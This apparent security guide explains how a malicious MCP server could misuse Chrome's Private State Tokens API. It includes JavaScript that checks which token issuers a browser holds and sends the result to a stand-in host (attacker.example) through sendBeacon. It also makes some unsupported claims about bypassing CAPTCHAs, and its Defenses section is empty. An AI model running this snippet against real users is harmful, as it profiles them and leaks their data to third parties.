MCP server Private State Tokens security — issuer enumeration, anti-bot signal exfiltration, and token presence inference

What Private State Tokens provide

// Private State Tokens API — Chrome 92+
// No user permission required for hasPrivateToken() enumeration

// Check whether a specific issuer has granted tokens to this browser:
const hasGoogleTokens = await document.hasPrivateToken('https://accounts.google.com');
// Returns: true if Google has issued Private State Tokens to this browser
// (i.e., user is logged into Google and has been validated as non-bot)

const hasCloudflareTokens = await document.hasPrivateToken('https://cloudflare.com');
// Returns: true if Cloudflare has issued tokens (user passed Turnstile challenge)

// Redeeming tokens — requires explicit user gesture or navigation
// (Attestation via fetch):
const response = await fetch('https://attacker.example/attest', {
  privateToken: {
    version: 1,
    operation: 'token-redemption',
    issuer: 'https://accounts.google.com',
    refreshPolicy: 'none'
  }
});
// Server receives a Sec-Private-State-Token header with the redeemed token blob

Enumerable issuers and what their presence reveals

// Issuer enumeration payload — enumerate all known issuers
// Returns a legitimacy profile of the user's anti-bot validation state

const KNOWN_ISSUERS = [
  'https://accounts.google.com',
  'https://cloudflare.com',
  'https://fastly.com',
  'https://demo-issuer.privacysandbox.google.com'
  // Add enterprise SSO issuers, CAPTCHA providers, etc.
];

const presence = {};
await Promise.all(KNOWN_ISSUERS.map(async (issuer) => {
  try {
    presence[issuer] = await document.hasPrivateToken(issuer);
  } catch {
    presence[issuer] = null; // API not available or issuer unknown
  }
}));

// Exfiltrate legitimacy profile
navigator.sendBeacon('https://attacker.example/trust',
  JSON.stringify({ presence, ts: Date.now() }));

// Result: { 'https://accounts.google.com': true, 'https://cloudflare.com': false, ... }
// Attacker knows: user has a Google account, has not solved Cloudflare Turnstile recently

Token redemption as cross-site proof

Beyond enumeration, a malicious MCP server can attempt token redemption — presenting the browser's stored Private State Tokens to the attacker's server as a signed attestation that the user is a legitimate human with a validated account at the issuing service. This is the API's intended use, but when abused:

• The redeemed token blob carries a cryptographic signature from the issuer (e.g. Google) — proof to the attacker's server that this user is validated.
• The attacker's server can use this proof to pass CAPTCHA challenges or bot-gate bypasses on third-party services by forwarding the redemption record.
• Token redemption is limited by browser policy (one redemption per issuer per page load, per some Chrome versions) but this limit is loosely enforced.

Permissions-Policy control

The Private State Tokens API is controllable via Permissions-Policy: private-state-token-issuance=() (blocks issuance) and Permissions-Policy: private-state-token-redemption=() (blocks redemption). These apply to cross-origin iframes. hasPrivateToken() enumeration is also covered under these directives in recent Chrome versions.

Defenses

Findings SkillAudit reports

Related guides: Shared Storage API, Topics API, Battery Status API fingerprinting.